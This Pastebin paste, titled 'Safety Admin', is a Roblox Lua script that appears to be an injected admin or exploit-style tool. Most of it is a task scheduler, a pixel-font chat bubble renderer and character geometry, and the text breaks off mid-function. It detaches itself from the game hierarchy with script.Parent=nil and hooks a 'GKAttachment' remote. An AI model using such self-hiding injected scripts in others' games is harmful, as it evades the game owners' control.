Advertisement
MistaMagic

Safety Admin

Jul 18th, 2015
318
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --
  2. local RunService = game:service'RunService'
  3. script.Parent=nil;
  4. local Camera = Workspace.CurrentCamera or nil
  5. local Lighting = game.Lighting
  6. local Player = game.Players.LocalPlayer
  7. local UserInterface = game:service'UserInputService'
  8. local RF = game.ReplicatedStorage:findFirstChild("GKAttachment") or nil
  9. local bannedlist = {"21506048","Dontnukeme"};
  10. local changecamonpossess = false
  11. local Debris = game:service'Debris'
  12. local Mouse = Player:GetMouse() or nil
  13. local Players = game.Players
  14. local chatAdornee = Player.Character.Head
  15. local RbxUtility = LoadLibrary("RbxUtility")
  16. local CMDS = {};
  17. local InsertService = game:service'InsertService'
  18. local math = {
  19.     abs = math.abs,
  20.     acos = math.acos,
  21.     asin = math.asin,
  22.     atan = math.atan,
  23.     atan2 = math.atan2,
  24.     ceil = math.ceil,
  25.     cos = math.cos,
  26.     cosh = math.cosh,
  27.     deg = math.deg,
  28.     exp = math.exp,
  29.     floor = math.floor,
  30.     fmod = math.fmod,
  31.     frexp = math.frexp,
  32.     huge = math.huge,
  33.     ldexp = math.ldexp,
  34.     log = math.log,
  35.     log10 = math.log10,
  36.     max = math.max,
  37.     min = math.min,
  38.     modf = math.modf,
  39.     phi = 1.618033988749895,
  40.     pi = math.pi,
  41.     pow = math.pow,
  42.     rad = math.rad,
  43.     random = math.random,
  44.     randomseed = math.randomseed,
  45.     sin = math.sin,
  46.     sinh = math.sinh,
  47.     sqrt = math.sqrt,
  48.     tan = math.tan,
  49.     tanh = math.tanh,
  50.     tau = 2 * math.pi
  51. }
  52.  
  53.  
  54. TaskScheduler = {};
  55.  
  56. local currentTime = 0
  57. local pairs = pairs
  58. local rbx_coroutine_create = coroutine.create
  59. local rbx_coroutine_resume = coroutine.resume
  60. local rbx_Wait = Wait
  61. local rbx_ypcall = ypcall
  62. local threads, swapThreads = {}, {}
  63. local function StartCoroutine(func, delay, ...)
  64.         if delay > 0 then
  65.                 rbx_Wait(delay)
  66.         end
  67.         local success, message = rbx_ypcall(func, ...)
  68.         if not success then
  69.                 print("Error in a TaskScheduler coroutine: "..message)
  70.         end
  71. end
  72. function TaskScheduler.GetCurrentTime()
  73.         return currentTime
  74. end
  75. function TaskScheduler.MainLoop(stepTime)
  76.         currentTime = currentTime + stepTime
  77.         threads, swapThreads = swapThreads, threads
  78.         local threshold = -0.5 * stepTime
  79.         for thread, resumeTime in pairs(swapThreads) do
  80.                 local remainingTime = currentTime - resumeTime
  81.                 if remainingTime >= threshold then
  82.                         swapThreads[thread] = nil
  83.                         local success, message = coroutine.resume(thread, remainingTime, currentTime)
  84.                         if not success then
  85.                                 print("Error in a TaskScheduler custom thread: "..message)
  86.                         end
  87.                 end
  88.         end
  89.         threads, swapThreads = swapThreads, threads
  90.         for thread, resumeTime in pairs(swapThreads) do
  91.                 threads[thread], swapThreads[thread] = resumeTime, nil
  92.         end
  93. end
  94. -- TODO: add stack trace info to scheduling functions?
  95. function TaskScheduler.Schedule(t, f, ...)
  96.         coroutine.resume(coroutine.create(StartCoroutine), f, t, ...)
  97. end
  98. function TaskScheduler.Start(f, ...)
  99.         coroutine.resume(coroutine.create(StartCoroutine), f, 0, ...)
  100. end
  101. function TaskScheduler.ScheduleCustomThread(t, f)
  102.         threads[coroutine.create(f)] = currentTime + t
  103. end
  104. function TaskScheduler.Wait(duration)
  105.         duration = tonumber(duration) or 0
  106.         threads[coroutine.running()] = currentTime + duration
  107.         local remainingTime, currentTime = coroutine.yield()
  108.         return remainingTime + duration, currentTime
  109. end
  110. local success, player = Players.LocalPlayer
  111. if success and player then
  112.         RunService.RenderStepped:connect(function()
  113.                 TaskScheduler.MainLoop(1 / 60)
  114.         end)
  115. else
  116.         RunService.Stepped:connect(function()
  117.                 TaskScheduler.MainLoop(1 / 30)
  118.         end)
  119. end
  120.  
  121. ChatBubble = {};
  122.  
  123. local FONT_CUSTOM_A_SRC, FONT_CUSTOM_A, TextAlignment, LoadFixedFont, LoadFont, DrawTextNetwork, DrawMultilineTextNetwork, ConfigureChatBubble,
  124.  
  125. CreateChatBubble, WrapText, chat_bubbles
  126. FONT_CUSTOM_A_SRC = "03E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8000000000000000820820020001451400000000053E53E50000872870AF00000CB4216980008518AA4680008208000000004208208100010208208400000918900000000208F88200000000008210000000F8000000000000820000210420840001C9AACA270000860820870001C884210F8003E09C0A270000431493E10003E83C0A270001C83C8A270003E08420820001C89C8A270001C8A278270000820000820000020800821000019881818000003E03E000000C0C08CC0001C88420020001C8AABA070001C8A2FA288003C8BC8A2F0001C8A082270003C8A28A2F0003E83C820F8003E83C82080001C8A09A27800228BE8A288001C2082087000020820A2700".."022938922880020820820F80022DAAAA2880022CAA9A288001C8A28A270003C8A2F2080001C8A28AC58003C8A2F2488001C81C0A270003E2082082000228A28A27000228A28942000228AAAB688002250852288002289420820003E084210F8000E208208380010208104080038208208E00008522000000000000000F800102040000000007027A2780820838924E0000072082270008208E492380000722FA070000C41C4104000007A278270002082CCA288000801820870000400C114200020828C28900018208208700000D2AAAAA80000B328A28800007228A2700000E2493882000039248E082000B328208000007A0702F0000870820A1000008A28A66800008A28942000008AAAAA500000894214880000894210800000F84210F80188210208180008208208200C08204208C0000001AB0000003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F80".."03E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F80".."03E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F80"
  127. FONT_CUSTOM_A = {}
  128.  
  129. ChatBubble.THEME = {}
  130. ChatBubble.THEME.AQUA = {
  131.         Name = "Aqua",
  132.         Background = Color3.new(0, 1 / 3, 0.5),
  133.         Foreground = Color3.new(2 / 3, 1, 1)
  134. }
  135. ChatBubble.THEME.CLASSIC = {
  136.         Name = "Classic",
  137.         Background = Color3.new(0, 0, 0),
  138.         Foreground = Color3.new(1, 1, 1)
  139. }
  140.  
  141. ChatBubble.THEME.KAYAVEN = {
  142.         Name = "Kayaven",
  143.         Background = Color3.new(0, 0, 0),
  144.         Foreground = Color3.new(0, 1, 0)
  145. }
  146. ChatBubble.THEME.CRIMSON = {
  147.         Name = "Crimson",
  148.         Background = Color3.new(0, 0, 0),
  149.         Foreground = Color3.new(0.9, 0, 0)
  150. }
  151. ChatBubble.THEME.GRAPE = {
  152.         Name = "Grape",
  153.         Background = Color3.new(0.25, 0, 0.25),
  154.         Foreground = Color3.new(1, 2 / 3, 1)
  155. }
  156. ChatBubble.THEME.LIBERATION = {
  157.         Name = "Liberation",
  158.         Background = Color3.new(1 / 6, 3 / 7, 3 / 7),
  159.         Foreground = Color3.new(1, 1, 1)
  160. }
  161. ChatBubble.THEME.PASSION = {
  162.         Name = "Passion",
  163.         Background = Color3.new(0.5, 0, 0),
  164.         Foreground = Color3.new(1, 1, 1)
  165. }
  166. ChatBubble.THEME.PURPLE = {
  167.         Name = "Purple",
  168.         Background = Color3.new(0.25, 0, 0.25),
  169.         Foreground = Color3.new(1, 1, 1)
  170. }
  171. ChatBubble.THEME.RAINBOW = {
  172.         Name = "Rainbow",
  173.         Background = function(bubble_info)
  174.                 local billboard, frame = bubble_info[5], bubble_info[6]
  175.                 TaskScheduler.Start(function()
  176.                         while billboard:IsDescendantOf(Workspace) do
  177.                                 local red, green, blue = Utility.GetRainbowRGB(tick())
  178.                                 frame.BackgroundColor3 = Color3.new(0.6 * red, 0.6 * green, 0.65 * blue)
  179.                                 RunService.Stepped:wait()
  180.                         end
  181.                 end)
  182.         end,
  183.         Foreground = Color3.new(1, 1, 1)
  184. }
  185. ChatBubble.THEME.TEAL = {
  186.         Name = "Teal",
  187.         Background = Color3.new(0, 1 / 3, 0.5),
  188.         Foreground = Color3.new(1, 1, 1)
  189. }
  190.  
  191. function ChatBubble.GetTheme()
  192.         return ChatBubble.theme_info
  193. end
  194. function ChatBubble.SetTheme(theme_info)
  195.         if type(theme_info) == "string" then
  196.                 theme_info = string.lower(theme_info)
  197.                 for key, info in pairs(ChatBubble.THEME) do
  198.                         if info.Name:lower() == theme_info:lower() then
  199.                                 ChatBubble.SetTheme(info)
  200.                                 break
  201.                         end
  202.                 end
  203.                 return
  204.         end
  205.         ChatBubble.theme_info = theme_info
  206.         ChatBubble.background_color = theme_info.Background
  207.         ChatBubble.font = LoadFont(ChatBubble.FONT_DEFAULT, theme_info.Foreground)
  208.         print("Theme has been set to "..theme_info.Name.." in ChatBubble")
  209. end
  210.  
  211. do
  212. local floor = math.floor
  213. local max = math.max
  214. local asc = string.byte
  215. local chr = string.char
  216. local find = string.find
  217. local gmatch = string.gmatch
  218. local sub = string.sub
  219. local insert = table.insert
  220. local type = type
  221. local unpack = unpack
  222.  
  223. local PopIntegerBit
  224.  
  225. TextAlignment = setmetatable({
  226.         [0] = 0,
  227.         [1] = 1,
  228.         [2] = 2,
  229.         Left = 0,
  230.         Center = 1,
  231.         Right = 2
  232. }, {
  233.         __call = function(self, ...)
  234.                 local argc = #{...}
  235.                 if argc == 0 then
  236.                         return 0
  237.                 else
  238.                         local arg = (...)
  239.                         local value = rawget(self, arg)
  240.                         if value then
  241.                                 return value
  242.                         else
  243.                                 local arg_type = type(arg)
  244.                                 error("Invalid value" .. ((arg_type == "number") and (" " .. arg) or ((arg_type == "string") and (" \"" .. arg .. "\"") or
  245.  
  246. "")) .. " for enum TextAlignment")
  247.                         end
  248.                 end
  249.         end
  250. })
  251.  
  252. function PopIntegerBit(value, bit)
  253.         if value >= bit then
  254.                 return 1, value - bit
  255.         else
  256.                 return 0, value
  257.         end
  258. end
  259. function LoadFixedFont(dest, src, height, width)
  260.         local n = #src / 64 - 1
  261.         local bit_index = 0
  262.         local symbol_bits = width * height
  263.         for i = 0, 255 do
  264.                 local char_data = {}
  265.                 for j = 1, height do
  266.                         char_data[j] = {}
  267.                 end
  268.                 dest[i] = char_data
  269.         end
  270.         for i = 1, #src do
  271.                 local buffer = tonumber(sub(src, i, i), 16)
  272.                 for j = 1, 4 do
  273.                         local code = floor(bit_index / symbol_bits)
  274.                         local row = floor(bit_index / width) % height + 1
  275.                         local column = bit_index % width + 1
  276.                         dest[code][row][column], buffer = PopIntegerBit(buffer, 8)
  277.                         buffer = buffer * 2
  278.                         bit_index = bit_index + 1
  279.                 end
  280.         end
  281. end
  282. function LoadFont(font_data, color)
  283.         local font_obj = {}
  284.         for character, char_data in pairs(font_data) do
  285.                 local code = character
  286.                 if type(code) ~= "number" then
  287.                         code = asc(character)
  288.                 end
  289.                 local height = #char_data
  290.                 local width = #char_data[1]
  291.                 local pixel_h = 1 / height
  292.                 local pixel_w = 1 / width
  293.                 local pixel_size = UDim2.new(pixel_w, 0, pixel_h, 0)
  294.                 local frame = Instance.new("Frame")
  295.                 frame.BackgroundTransparency = 1
  296.                 frame.Name = ""
  297.                 for y = 1, height do
  298.                         local row = char_data[y]
  299.                         for x = 1, width do
  300.                                 local opacity = row[x]
  301.                                 if opacity ~= 0 then
  302.                                         local pixel = Instance.new("Frame", frame)
  303.                                         pixel.BackgroundColor3 = color
  304.                                         pixel.BorderSizePixel = 0
  305.                                         pixel.Name = ""
  306.                                         pixel.Position = UDim2.new(x * pixel_w, 0, y * pixel_h, 0) - pixel_size
  307.                                         pixel.Size = pixel_size -- + UDim2.new(0, 0, 0, 1) -- correction
  308.                                         -- ^ never mind that correction, fixed by changing font size to 12x16 instead of 13x17
  309.                                         if opacity then
  310.                                                 pixel.BackgroundTransparency = 1 - opacity
  311.                                         end
  312.                                 end
  313.                         end
  314.                 end
  315.                 font_obj[code] = {frame, height, width}
  316.         end
  317.         return font_obj
  318. end
  319. function DrawTextNetwork(text, font, size, delay_offset)
  320.         if #text == 0 then
  321.                 text = " "
  322.         end
  323.         local frame = Instance.new("Frame")
  324.         frame.BackgroundTransparency = 1
  325.         frame.BorderSizePixel = 0
  326.         local objects = {}
  327.         local length = #text
  328.         local height = 0
  329.         local width = 0
  330.         for i = 1, length do
  331.                 local character = sub(text, i, i)
  332.                 local code = asc(character)
  333.                 local char_data = assert(font[code] or FONT_SYMBOL_MISSING, "FONT ERROR: '" .. character .. "' (" .. code .. ") not found")
  334.                 local char_proto, char_h, char_w = unpack(char_data)
  335.                 objects[i] = char_data
  336.                 height = max(char_h, height)
  337.                 width = width + char_w
  338.         end
  339.         local offset = 0
  340.         local punctuation_delay = 0
  341.         for i = 1, length do
  342.                 delay(delay_offset + (i + punctuation_delay - 1) / 30, function()
  343.                         local char_data = objects[i]
  344.                         local char_proto, char_h, char_w = unpack(char_data)
  345.                         local char_obj = char_proto:Clone()
  346.                         char_obj.Position = UDim2.new(offset / width, 0, 0, 0)
  347.                         char_obj.Size = UDim2.new(char_w / width, 0, 1, 0)
  348.                         char_obj.Parent = frame
  349.                         offset = offset + char_w
  350.                 end)
  351.                 local character = sub(text, i, i)
  352.                 if character == "." then
  353.                         punctionation_delay = punctuation_delay + 3
  354.                 elseif character == "?" or character == "!" then
  355.                         punctionation_delay = punctuation_delay + 2
  356.                 elseif character == ";" or character == "~" then
  357.                         punctionation_delay = punctuation_delay + 1
  358.                 end
  359.         end
  360.         local ratio = (height == 0) and (0) or (width / height)
  361.         frame.Size = UDim2.new(size.X.Scale * ratio, size.X.Offset * ratio, size.Y.Scale, size.Y.Offset)
  362.         return frame, height, width, (length + punctuation_delay) / 30
  363. end
  364. function DrawMultilineTextNetwork(text, font, size, delay_offset, ...)
  365.         local align = TextAlignment(...)
  366.         local frame = Instance.new("Frame")
  367.         frame.BackgroundTransparency = 1
  368.         frame.BorderSizePixel = 0
  369.         local height = 0
  370.         local width = 0
  371.         local objects = {}
  372.         for line in gmatch(text .. "\n", "([^\n]*)\n") do
  373.                 local line_obj, line_h, line_w, line_delay = DrawTextNetwork(line, font, size, delay_offset)
  374.                 insert(objects, {line_obj, line_h, line_w})
  375.                 height = height + line_h
  376.                 width = max(line_w, width)
  377.                 delay_offset = delay_offset + line_delay
  378.         end
  379.         local offset = 0
  380.         for index, line_data in ipairs(objects) do
  381.                 local line_obj, line_h, line_w = unpack(line_data)
  382.                 local align_offset
  383.                 if align == TextAlignment.Left then
  384.                         align_offset = 0
  385.                 elseif align == TextAlignment.Center then
  386.                         align_offset = 0.5 - line_w / width / 2
  387.                 elseif align == TextAlignment.Right then
  388.                         align_offset = 1 - line_w / width
  389.                 end
  390.                 line_obj.Position = UDim2.new(align_offset, 0, offset / height, 0)
  391.                 line_obj.Parent = frame
  392.                 offset = offset + line_h
  393.         end
  394.         local line_count = #objects
  395.         local ratio = (height == 0) and (0) or (line_count * width / height)
  396.         frame.Size = UDim2.new(size.X.Scale * ratio, size.X.Offset * ratio, size.Y.Scale * line_count, size.Y.Offset * line_count)
  397.         return frame, height, width
  398. end
  399. end
  400.  
  401. LoadFixedFont(FONT_CUSTOM_A, FONT_CUSTOM_A_SRC, 8, 6)
  402. ChatBubble.FONT_DEFAULT = FONT_CUSTOM_A
  403. ChatBubble.SetTheme("Rainbow")
  404.  
  405. chat_bubbles = {}
  406.  
  407. function CreateChatBubble(bubble_info)
  408.         local creation_time, text, backup = bubble_info[1], bubble_info[2], bubble_info[8]
  409.         local billboard, frame, label
  410.         if backup and false then
  411.                 billboard = backup:Clone()
  412.                 frame = billboard.Frame
  413.                 label = frame.Label
  414.                 bubble_info[5] = billboard
  415.                 bubble_info[6] = frame
  416.                 bubble_info[7] = label
  417.                 billboard.Parent = Workspace
  418.         else
  419.                 label = DrawMultilineTextNetwork(text, bubble_info[9], UDim2.new(0, 12, 0, 16), creation_time - time(), "Center")
  420.                 label.Name = "Label"
  421.                 label.Position = UDim2.new(0, 16, 0, 16)
  422.                 billboard = Instance.new("BillboardGui", Workspace)
  423.                 billboard.Adornee = chatAdornee
  424.                 billboard.AlwaysOnTop = true
  425.                 billboard.Size = UDim2.new(label.Size.X.Scale, label.Size.X.Offset + 32, label.Size.Y.Scale, label.Size.Y.Offset + 32)
  426.                 billboard.SizeOffset = Vector2.new(0, 0)
  427.                 billboard.StudsOffset = Vector3.new(0, 1, 0)
  428.                 frame = Instance.new("Frame", billboard)
  429.                 bubble_info[5] = billboard
  430.                 bubble_info[6] = frame
  431.                 bubble_info[7] = label
  432.                 local background_color = bubble_info[10]
  433.                 if type(background_color) == "function" then
  434.                         background_color(bubble_info)
  435.                 else
  436.                         frame.BackgroundColor3 = background_color
  437.                 end
  438.                 frame.BackgroundTransparency = 0.3
  439.                 frame.BorderSizePixel = 0
  440.                 frame.ClipsDescendants = true
  441.                 frame.Name = "Frame"
  442.                 frame.Size = UDim2.new(1, 0, 0, 0)
  443.                 label.Parent = frame
  444.                 -- bubble_info[8] = billboard:Clone()
  445.         end
  446. end
  447. local tween_time = 0.3
  448. function ConfigureChatBubble(bubble_info)
  449.         local creation_time, destruction_time, billboard, frame = bubble_info[1], bubble_info[3], bubble_info[5], bubble_info[6]
  450.         if not billboard or billboard.Parent ~= workspace then
  451.                 CreateChatBubble(bubble_info)
  452.                 billboard, frame = bubble_info[5], bubble_info[6]
  453.         end
  454.         if billboard.Adornee ~= chatAdornee then
  455.                 billboard.Adornee = chatAdornee
  456.         end
  457.         local current_time = time()
  458.         local elapsed_time = current_time - creation_time
  459.         local remaining_time = destruction_time - current_time
  460.         if remaining_time < 0 then
  461.                 bubble_info[4] = false
  462.                 billboard:Destroy()
  463.                 return false
  464.         elseif remaining_time < tween_time then
  465.                 local tween_progress = math.sin(remaining_time * math.pi / (tween_time * 2))
  466.                 frame.Size = UDim2.new(1, 0, tween_progress, 0)
  467.         elseif elapsed_time < tween_time then
  468.                 local tween_progress = math.sin(elapsed_time * math.pi / (tween_time * 2))
  469.                 frame.Size = UDim2.new(1, 0, tween_progress, 0)
  470.         elseif frame.Size ~= UDim2.new(1, 0, 1, 0) then
  471.                 frame.Size = UDim2.new(1, 0, 1, 0)
  472.         end
  473.         return true
  474. end
  475. function ChatBubble.MainLoop()
  476.         local offset = 0
  477.         local removing = {}
  478.         for index, bubble_info in ipairs(chat_bubbles) do
  479.                 if not ConfigureChatBubble(bubble_info) then
  480.                         removing[#removing + 1] = index - #removing
  481.                 else
  482.                         local billboard, frame = bubble_info[5], bubble_info[6]
  483.                         local billboard_h = billboard.Size.Y.Offset
  484.                         local bubble_h = frame.Size.Y.Scale * billboard_h
  485.                         offset = 8 + offset + bubble_h
  486.                         billboard.SizeOffset = Vector2.new(0, offset / billboard_h - 0.5)
  487.                 end
  488.         end
  489.         for index, bubble_index in ipairs(removing) do
  490.                 table.remove(chat_bubbles, bubble_index)
  491.         end
  492.         RunService.Stepped:wait()
  493. end
  494. function WrapText(text, character_limit, line_length_limit)
  495.         if #text > character_limit then
  496.                 text = string.sub(text, 1, character_limit - 3) .. "..."
  497.         end
  498.         local text_length = #text
  499.         local line_length = 0
  500.         local i = 0
  501.         while i <= text_length do
  502.                 i = i + 1
  503.                 local character = string.sub(text, i, i)
  504.                 if character == "\t" then
  505.                         local tabulation_size = 4 - line_length % 4
  506.                         line_length = line_length + tabulation_size
  507.                         if line_length >= line_length_limit then
  508.                                 tabulation_size = line_length - line_length_limit
  509.                                 line_length = 0
  510.                                 text_length = text_length + tabulation_size
  511.                                 text = string.sub(text, 1, i - 1) .. string.rep(" ", tabulation_size) .. "\n" .. string.sub(text, i + 1)
  512.                                 i = i + tabulation_size + 1
  513.                         else
  514.                                 text_length = text_length + tabulation_size - 1
  515.                                 text = string.sub(text, 1, i - 1) .. string.rep(" ", tabulation_size) .. string.sub(text, i + 1)
  516.                                 i = i + tabulation_size - 1
  517.                         end
  518.                 elseif character == "\n" then
  519.                         line_length = 0
  520.                 else
  521.                         line_length = line_length + 1
  522.                         if line_length >= line_length_limit then
  523.                                 local k = i - line_length + 1
  524.                                 local success = false
  525.                                 for j = i, k, -1 do
  526.                                         if string.match(string.sub(text, j, j), "[ \t]") then
  527.                                                 text = string.sub(text, 1, j - 1) .. "\n" .. string.sub(text, j + 1)
  528.                                                 text_length = text_length + 1
  529.                                                 success = true
  530.                                                 break
  531.                                         end
  532.                                 end
  533.                                 if not success then
  534.                                         text = string.sub(text, 1, i) .. "\n" .. string.sub(text, i + 1)
  535.                                         text_length = text_length + 1
  536.                                 end
  537.                                 i = i + 1
  538.                                 line_length = 0
  539.                         end
  540.                 end
  541.         end
  542.         if #text > character_limit then
  543.                 text = string.sub(text, 1, character_limit - 3) .. "..."
  544.         end
  545.         return text
  546. end
  547. function ChatBubble.Create(text, theme)
  548.         local text = WrapText(text, 200, 30)
  549.         local creation_time = time()
  550.         local bubble_info = {creation_time, text, creation_time + 6 + #text / 15, true}
  551.         local previousTheme
  552.         if theme then
  553.                 previousTheme = ChatBubble.GetTheme()
  554.                 ChatBubble.SetTheme(theme)
  555.         end
  556.         bubble_info[9] = ChatBubble.font
  557.         bubble_info[10] = ChatBubble.background_color
  558.         if previousTheme then
  559.                 ChatBubble.SetTheme(previousTheme)
  560.         end
  561.         table.insert(chat_bubbles, 1, bubble_info)
  562. end
  563. TaskScheduler.Start(function()
  564.         while true do
  565.                 ChatBubble.MainLoop()
  566.         end
  567. end)
  568.  
  569. PyramidCharacter = {};
  570.  
  571. local stock_triangle = Instance.new("WedgePart")
  572. stock_triangle.Anchored = true
  573. stock_triangle.BottomSurface = "Smooth"
  574. stock_triangle.FormFactor = "Custom"
  575. stock_triangle.Locked = true
  576. stock_triangle.TopSurface = "Smooth"
  577. local stock_triangle_mesh = Instance.new("SpecialMesh", stock_triangle)
  578. stock_triangle_mesh.MeshType = "Wedge"
  579. local triangles = {}
  580. function PyramidCharacter.CreateTriangle(v1, v2, v3, properties, parent, index)
  581.         local triangleInfo = triangles[index]
  582.         local side1 = (v1 - v2).magnitude
  583.         local side2 = (v2 - v3).magnitude
  584.         local side3 = (v3 - v1).magnitude
  585.         local sqrside1 = side1 * side1
  586.         local sqrside2 = side2 * side2
  587.         local sqrside3 = side3 * side3
  588.         if sqrside3 + sqrside1 == sqrside2 then
  589.                 v1, v2, v3 = v1, v2, v3
  590.         elseif sqrside1 + sqrside2 == sqrside3 then
  591.                 v1, v2, v3 = v2, v3, v1
  592.         elseif sqrside2 + sqrside3 == sqrside1 then
  593.                 v1, v2, v3 = v3, v1, v2
  594.         elseif sqrside1 >= sqrside2 and sqrside1 >= sqrside3 then
  595.                 v1, v2, v3 = v1, v2, v3
  596.         elseif sqrside2 >= sqrside3 and sqrside2 >= sqrside1 then
  597.                 v1, v2, v3 = v2, v3, v1
  598.         else
  599.                 v1, v2, v3 = v3, v1, v2
  600.         end
  601.         local model, part1, part2, mesh1, mesh2
  602.         if triangleInfo then
  603.                 model, part1, part2, mesh1, mesh2 = unpack(triangleInfo)
  604.                 if not (model.Parent == parent and part1.Parent == model and part2.Parent == model and mesh1.Parent == part1 and mesh2.Parent == part2) then
  605.                         if model.Parent then
  606.                                 model:Destroy()
  607.                         end                    
  608.                         model = nil
  609.                 end
  610.         else
  611.                 triangleInfo = {}
  612.                 triangles[index] = triangleInfo
  613.         end
  614.         if not model then
  615.                 model = Instance.new("Model")
  616.                 part1 = stock_triangle:Clone()
  617.                 part2 = stock_triangle:Clone()
  618.                 mesh1 = part1.Mesh
  619.                 mesh2 = part2.Mesh
  620.                 part1.Parent = model
  621.                 part2.Parent = model
  622.                 triangleInfo[1] = model
  623.                 triangleInfo[2] = part1
  624.                 triangleInfo[3] = part2
  625.                 triangleInfo[4] = mesh1
  626.                 triangleInfo[5] = mesh2
  627.         end
  628.         for key, value in pairs(properties) do
  629.                 part1[key] = value
  630.                 part2[key] = value
  631.         end
  632.         local cframe = CFrame.new(v1, v2)
  633.         local relpos = cframe:pointToObjectSpace(v3)
  634.         cframe = cframe * CFrame.fromEulerAnglesXYZ(0, 0, -math.atan2(relpos.x, relpos.y))
  635.         local rel1 = cframe:pointToObjectSpace(v1)
  636.         local rel2 = cframe:pointToObjectSpace(v2)
  637.         local rel3 = cframe:pointToObjectSpace(v3)
  638.         local height = rel3.y
  639.         local width1 = rel3.z
  640.         local width2 = rel2.z - rel3.z
  641.         local relcenter1 = Vector3.new(0, height / 2, width1 / 2)
  642.         local center1 = cframe:pointToWorldSpace(relcenter1)
  643.         local relcenter2 = Vector3.new(0, height / 2, width2 / 2 + width1)
  644.         local center2 = cframe:pointToWorldSpace(relcenter2)
  645.         height = math.abs(height)
  646.         width1 = math.abs(width1)
  647.         width2 = math.abs(width2)
  648.         if not part1.Anchored then
  649.                 part1.Anchored = true
  650.         end
  651.         part1.Size = Vector3.new(0.2, height, width1)
  652.         part1.CFrame = cframe * CFrame.fromEulerAnglesXYZ(0, math.pi, 0) - cframe.p + center1  
  653.         mesh1.Scale = Vector3.new(0, height / part1.Size.y, width1 / part1.Size.z)
  654.         if not part2.Anchored then
  655.                 part2.Anchored = true
  656.         end
  657.         part2.Size = Vector3.new(0.2, height, width1)
  658.         part2.CFrame = cframe - cframe.p + center2
  659.         mesh2.Scale = Vector3.new(0, height / part1.Size.y, width2 / part2.Size.z)
  660.         model.Parent = parent
  661.         return model
  662. end
  663. PyramidCharacter.head_properties = {BrickColor = BrickColor.new(Color3.new(1, 1, 1)), Transparency = 0.5}
  664. PyramidCharacter.head_radius = math.pi
  665. PyramidCharacter.center = CFrame.new(0, 10, 0)
  666. PyramidCharacter.point1 = Vector3.new()
  667. PyramidCharacter.point2 = Vector3.new()
  668. PyramidCharacter.point3 = Vector3.new()
  669. PyramidCharacter.point4 = Vector3.new()
  670. PyramidCharacter.core_mesh_scale = Vector3.new(0.833, 0.833, 0.833)
  671. PyramidCharacter.visible = false
  672. function PyramidCharacter.Teleport(location)
  673.         PyramidCharacter.point1 = location
  674.         PyramidCharacter.point2 = location
  675.         PyramidCharacter.point3 = location
  676.         PyramidCharacter.point4 = location
  677. end
  678. local stock_core = Instance.new("Part")
  679. stock_core.Anchored = true
  680. stock_core.BottomSurface = "Smooth"
  681. stock_core.Color = Color3.new(1, 1, 1)
  682. stock_core.FormFactor = "Custom"
  683. stock_core.Locked = true
  684. stock_core.Name = "CubePyramid"
  685. stock_core.Size = Vector3.new(0.5, 0.5, 0.5)
  686. stock_core.TopSurface = "Smooth"
  687. PyramidCharacter.stock_core = stock_core
  688. PyramidCharacter.core = stock_core:Clone()
  689. PyramidCharacter.Archivable = false
  690. PyramidCharacter.core_mesh = Instance.new("BlockMesh", core)
  691. PyramidCharacter.core_lights = {}
  692. PyramidCharacter.coreLightCount = 1
  693. for index = 1, PyramidCharacter.coreLightCount do
  694.         PyramidCharacter.core_lights[index] = Instance.new("PointLight", core)
  695. end
  696. PyramidCharacter.camera_distance = (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude
  697. PyramidCharacter.camera_position = Vector3.new()
  698. Camera.Changed:connect(function(property)
  699.         if PyramidCharacter.visible then
  700.                 if property == "CoordinateFrame" then
  701.                         local cframe, focus = Camera.CoordinateFrame, Camera.Focus
  702.                         local eventTime = time()
  703.                         local connection
  704.                         connection = Camera.Changed:connect(function()
  705.                                 connection:disconnect()
  706.                                 if eventTime == time() and Camera.Focus ~= focus then
